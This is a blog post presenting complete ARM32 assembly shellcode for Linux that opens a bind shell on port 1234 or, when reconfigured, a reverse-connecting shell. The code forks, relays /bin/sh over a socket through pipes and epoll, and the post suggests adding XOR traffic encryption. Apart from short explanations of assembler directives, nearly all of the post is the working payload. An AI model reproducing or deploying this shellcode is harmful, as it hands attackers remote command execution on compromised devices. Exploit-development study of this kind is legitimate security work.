Shellcode: Synchronous shell for Linux in ARM32 assembly

Introduction

Here’s the synchronous shell for Linux/ARM32 that I promised in a previous post. It was tested on a Raspberry Pi 3 with ncat. The two versions I posted before here and here function exactly the same as this. Unfortunately NASM/YASM assemblers don’t support ARM, although it would be nice if they did in the future! The free assemblers available to us are the GNU assembler (GAS) and a lesser known assembler called VASM. I didn’t use VASM for this, however, it might be more suitable for programming large projects in ARM assembly. I almost forgot FASMARM, but probably because it’s written in x86 assembly. 😀

As I mentioned before about writing assembly code, it’s wise to use data structures and symbolic names because it’s much easier referring to a word rather than a number when accessing a memory location or variable. This helps reduce the potential for bugs appearing in the final code and obviously makes it easier to update later if required.

This code doesn’t use THUMB mode (16-bit) and isn’t free of null bytes.

Symbolic names

In C, we can use the #define preprocessor directive and for NASM/YASM there’s the %define directive. GAS provides the .req directive for registers and the .set or .equ directives for anything else.

Consider the symbolic name “TRUE” that we assign with the number 1.

#define TRUE 1

%define TRUE 1

.equ TRUE, 1
.set TRUE, 1

I’ve included two names for reconfiguring the code. If BIND is commented out, the assembly will work as a reverse connecting shell. If EXIT is commented out, the assembly will behave like a function, returning to the caller once the code completes execution.

// comment out for a reverse connecting shell
.equ BIND, 1

// comment out for code to behave as a function
.equ EXIT, 1

The system calls and some of their parameters are also clearly defined to help the reader understand what the code does.

.equ BUFSIZ,             64
.equ NULL,                0
.equ SIGCHLD,            20
.equ SHUT_RDWR,           1

.equ STDIN_FILENO,        0
.equ STDOUT_FILENO,       1
.equ STDERR_FILENO,       2

.equ AF_INET,             2
.equ SOCK_STREAM,         1
.equ IPPROTO_IP,          0

.equ EPOLLIN,             1

.equ EPOLL_CTL_ADD,       1
.equ EPOLL_CTL_DEL,       2
.equ EPOLL_CTL_MOD,       3

// system calls
.equ SYS_exit,            1
.equ SYS_fork,            2
.equ SYS_read,            3
.equ SYS_write,           4
.equ SYS_close,           6
.equ SYS_execve,         11
.equ SYS_kill,           37
.equ SYS_pipe,           42
.equ SYS_dup2,           63
.equ SYS_epoll_ctl,     251
.equ SYS_epoll_wait,    252
.equ SYS_socket,        281
.equ SYS_bind,          282
.equ SYS_connect,       283
.equ SYS_listen,        284
.equ SYS_accept,        285
.equ SYS_shutdown,      293
.equ SYS_epoll_create1, 357

Symbolic names help clarify the purpose of numbers.. If you want to be a wizard (or go crazy) and memorize every number in your head, you can do that too. 🙂

Structures and unions

Both YASM and NASM support the concept of data structures, but the GNU Assembler isn’t that straight forward. There’s a .struct directive, but it doesn’t really support fields without some manual construction.

Since neither GAS nor YASM/NASM support the concept of UNIONs that many C programmers might be familiar with, the only alternatives are using the .set or .equ directives. Incidentally, JWASM/MASM do support UNIONs. (I wonder if it’s possible to use Microsoft’s ARMASM along with some COFF2ELF utility??)

The following unions/structures defined in C need converted into assembly format.

typedef union epoll_data {
  void     *ptr;
  int      fd;
  uint32_t u32;
  uint64_t u64;
} epoll_data_t;
  
struct epoll_event {
  uint32_t     events;
  epoll_data_t data;
};

typedef struct _ds_tbl {
  int          p_in[2];
  int          p_out[2];
  int          pid;
  int          s;
#ifdef BIND
  int          s2;
#endif
  int          efd;
  epoll_event evts;
  uint8_t      buf[BUFSIZ];
} ds_tbl;

As it turns out, the size of epoll_event is 16 bytes. 4 bytes for events, and 8 for epoll_data. The additional 4 bytes are to align the memory.

Unions are unsupported in most assemblers, so as a workaround I use %define in NASM/YASM or .set/.equ in GAS. The following uses a combination of .struct, .skip and .equ.

// structure for stack variables

              .struct 0
      p_in:   .skip 8
              .equ in0, p_in + 0
              .equ in1, p_in + 4
          
      p_out:  .skip 8
              .equ out0, p_out + 0
              .equ out1, p_out + 4
          
      pid:    .skip 4
      s:      .skip 4

      .ifdef BIND
        s2:   .skip 4
      .endif

      efd:    .skip 4
      evts:   .skip 16
              .equ events, evts + 0
              .equ data_fd,evts + 8
          
      buf:    .skip BUFSIZ
      ds_tbl_size:

Assembly code

Use GNU “as” and “ld” to create a binary. Use “objcopy” if you want to extract just the shellcode itself from the “.text” section.

Writing this code required some debugging, and I prefer to use plain old GDB in TUI mode with a split and register layout.

// shellcode for raspberry pi 3 running debian linux
      .arm
      .arch armv7-a
      .align 4

      // comment out for a reverse connecting shell
      .equ BIND, 1

      // comment out for code to behave as a function
      .equ EXIT, 1

      .equ BUFSIZ,             64
      .equ NULL,                0
      .equ SIGCHLD,            20
      .equ SHUT_RDWR,           1

      .equ STDIN_FILENO,        0
      .equ STDOUT_FILENO,       1
      .equ STDERR_FILENO,       2

      .equ AF_INET,             2
      .equ SOCK_STREAM,         1
      .equ IPPROTO_IP,          0

      .equ EPOLLIN,             1

      .equ EPOLL_CTL_ADD,       1
      .equ EPOLL_CTL_DEL,       2
      .equ EPOLL_CTL_MOD,       3

      // system calls
      .equ SYS_exit,            1
      .equ SYS_fork,            2
      .equ SYS_read,            3
      .equ SYS_write,           4
      .equ SYS_close,           6
      .equ SYS_execve,         11
      .equ SYS_kill,           37
      .equ SYS_pipe,           42
      .equ SYS_dup2,           63
      .equ SYS_epoll_ctl,     251
      .equ SYS_epoll_wait,    252
      .equ SYS_socket,        281
      .equ SYS_bind,          282
      .equ SYS_connect,       283
      .equ SYS_listen,        284
      .equ SYS_accept,        285
      .equ SYS_shutdown,      293
      .equ SYS_epoll_create1, 357

      // structure for stack variables

              .struct 0
      p_in:   .skip 8
              .equ in0, p_in + 0
              .equ in1, p_in + 4
          
      p_out:  .skip 8
              .equ out0, p_out + 0
              .equ out1, p_out + 4
          
      pid:    .skip 4
      s:      .skip 4

      .ifdef BIND
        s2:   .skip 4
      .endif

      efd:    .skip 4
      evts:   .skip 16
              .equ events, evts + 0
              .equ data_fd,evts + 8
          
      buf:    .skip BUFSIZ
      ds_tbl_size:

      .global _start
      .text
_start:
      // save all registers
      push   {r0-r12, lr}

      // allocate memory for variables
      sub     sp, #ds_tbl_size

      // create pipes for stdin
      mov     r7, #SYS_pipe
      add     r0, sp, #p_in
      svc     0

      // create pipes for stdout + stderr
      add     r0, sp, #p_out
      svc     0

      // fork a separate instance for shell
      mov     r7, #SYS_fork
      svc     0
      str     r0, [sp, #pid]   // save pid
      cmp     r0, #0           // already forked?
      bne     opn_con          

      // in this order..
      //
      // dup2 (out[1], STDERR_FILENO)      
      // dup2 (out[1], STDOUT_FILENO)
      // dup2 (in[0],  STDIN_FILENO )
      mov     r7, #SYS_dup2
      mov     r1, #(STDERR_FILENO + 1)       
c_dup:
      subs    r1, #1
      ldrne   r0, [sp, #out1]
      ldreq   r0, [sp, #in0]
      svc     0
      bne     c_dup

      // close pipe handles in this order..
      //
      // close(in[0]);
      // close(in[1]);
      // close(out[0]);
      // close(out[1]);
      mov     r1, #3
      mov     r7, #SYS_close
cls_pipe:
      ldr     r0, [sp, r1, lsl #2]
      svc     0
      subs    r1, #1
      bpl     cls_pipe
      
      // execve("/bin/sh", NULL, NULL);
      ldr     r0, =#0x6e69622f // /bin
      ldr     r1, =#0x68732f2f // //sh
      eor     r2, r2
      push    {r0, r1, r2}
      eor     r1, r1    
      mov     r0, sp
      mov     r7, #SYS_execve
      svc     0
    
opn_con:
      // close(in[0]);
      mov     r7, #SYS_close
      ldr     r0, [sp, #in0]    
      svc     0

      // close(out[1]);
      ldr     r0, [sp, #out1]    
      svc     0
     
      // s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      movw    r7, #SYS_socket
      mov     r2, #IPPROTO_IP
      mov     r1, #SOCK_STREAM
      mov     r0, #AF_INET
      svc     0
      
      str     r0, [sp, #s]
      
      ldr     r3, =#0xD2040002 // htons(1234), AF_INET
            
      .ifdef BIND
        eor   r4, r4           // sa.sin_addr=INADDR_ANY
      .else
        ldr   r4, =#0x0100007f // sa.sin_addr=127.0.0.1
      .endif
      
      mov     r2, #16  // sizeof(sa)
      push    {r3, r4} // sa parameters
      mov     r1, sp   // r1 = &sa
.ifdef BIND  
      // bind (s, &sa, sizeof(sa));   
      movw    r7, #SYS_bind
      svc     0
      pop     {r3, r4}
      tst     r0, r0
      bne     cls_sck        // if(r0 != 0) goto cls_sck

      // listen (s, 1);
      mov     r7, #SYS_listen
      mov     r1, #1
      ldr     r0, [sp, #s]
      svc     0

      // accept (s, 0, 0);
      movw    r7, #SYS_accept
      eor     r2, r2
      eor     r1, r1
      ldr     r0, [sp, #s]
      svc     0
      
      ldr     r1, [sp, #s]      // load binding socket
      str     r0, [sp, #s]      // save peer socket as s
      str     r1, [sp, #s2]     // save binding socket as s2
.else
      // connect (s, &sa, sizeof(sa)); 
      movw    r7, #SYS_connect
      svc     0  
      pop     {r3, r4}       // release &sa
      tst     r0, r0
      bne     cls_sck        // if(r0 != 0) goto cls_sck
.endif 
      // efd = epoll_create1(0);
      movw    r7, #SYS_epoll_create1
      eor     r0, r0
      svc     0
      str     r0, [sp, #efd]
 
      ldr     r2, [sp, #s]
      ldr     r4, [sp, #out0]
poll_init:
      // epoll_ctl(efd, EPOLL_CTL_ADD, fd, &evts);
      mov     r7, #SYS_epoll_ctl
      mov     r3, #EPOLLIN
      str     r3, [sp, #events]   // evts.events  = EPOLLIN
      str     r2, [sp, #data_fd]  
      add     r3, sp, #evts       // r3 = &evts
      mov     r1, #EPOLL_CTL_ADD  // r1 = EPOLL_CTL_ADD
      ldr     r0, [sp, #efd]      // r0 = efd
      svc     0
      cmp     r2, r4              // if (r2 != out0) r2 = out0
      movne   r2, r4
      bne     poll_init           // loop twice
      // now loop until user exits or there's some other error      
poll_wait:
      // epoll_wait(efd, &evts, 1, -1);
      mov     r7, #SYS_epoll_wait
      mvn     r3, #0
      mov     r2, #1
      add     r1, sp, #evts
      ldr     r0, [sp, #efd]
      svc     0
      
      // if (r <= 0) break;
      tst     r0, r0
      ble     cls_efd
      
      // if (!(evts.events & EPOLLIN)) break;
      ldr     r0, [sp, #events]
      tst     r0, #EPOLLIN
      beq     cls_efd

      // r0 = evts.data.fd
      ldr     r0, [sp, #data_fd]
      // r3 = s
      ldr     r3, [sp, #s]
      // r = (fd == s) ? s     : out[0];
      // w = (fd == s) ? in[1] : s;
      cmp     r0, r3
      ldrne   r0, [sp, #out0]
      ldreq   r3, [sp, #in1]
      
      // read(r, buf, BUFSIZ);
      mov     r7, #SYS_read
      mov     r2, #BUFSIZ
      add     r1, sp, #buf
      svc     0
      
      // encrypt/decrypt buffer
      
      // write(w, buf, len);
      mov     r7, #SYS_write
      mov     r2, r0
      mov     r0, r3
      svc     0
      b       poll_wait
cls_efd:   
      // epoll_ctl(efd, EPOLL_CTL_DEL, s, NULL);
      mov     r7, #SYS_epoll_ctl
      mov     r3, #NULL
      ldr     r2, [sp, #s]
      mov     r1, #EPOLL_CTL_DEL
      ldr     r0, [sp, #efd]
      svc     0
    
      // epoll_ctl(efd, EPOLL_CTL_DEL, out[0], NULL);
      ldr     r2, [sp, #out0]
      ldr     r0, [sp, #efd]
      svc     0
      
      // close(efd);
      mov     r7, #SYS_close
      ldr     r0, [sp, #efd]
      svc     0
cls_sck:
      // shutdown(s, SHUT_RDWR);
      movw    r7, #SYS_shutdown
      mov     r1, #SHUT_RDWR
      ldr     r0, [sp, #s]
      svc     0
      
      // close(s);
      mov     r7, #SYS_close
      ldr     r0, [sp, #s]
      svc     0
    
.ifdef BIND
      // close(s2);
      mov     r7, #SYS_close
      ldr     r0, [sp, #s2]
      svc     0
.endif            
      // kill(pid, SIGCHLD);
      mov     r7, #SYS_kill
      mov     r1, #SIGCHLD
      ldr     r0, [sp, #pid]
      svc     0

      // close(in[1]);
      mov     r7, #SYS_close
      ldr     r0, [sp, #in1]
      svc     0  

      // close(out[0]);
      mov     r7, #SYS_close
      ldr     r0, [sp, #out0]
      svc     0
      
.ifdef EXIT
      // exit(0);
      mov     r7, #SYS_exit
      svc     0 
.else
      // deallocate stack
      add     sp, #ds_tbl_size
      
      // restore registers and return
      pop     {r0-r12, pc}
.endif

Summary

If you really must use assembly code to write something, it’s always good practice to clearly define everything with words instead of using numbers that can cause confusion for someone else reading the code. This shell can be easily modified to include some basic encryption of the traffic sent between two systems. To start off, you could implement a simple exclusive-OR (XOR) of the outgoing and incoming stream.

Source code to the shell can be found here.

This entry was posted in arm, assembly, linux, programming, raspberry, shellcode and tagged , , , , . Bookmark the permalink.

1 Response to Shellcode: Synchronous shell for Linux in ARM32 assembly

  1. Pingback: Shellcode: Encrypting traffic | modexp

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s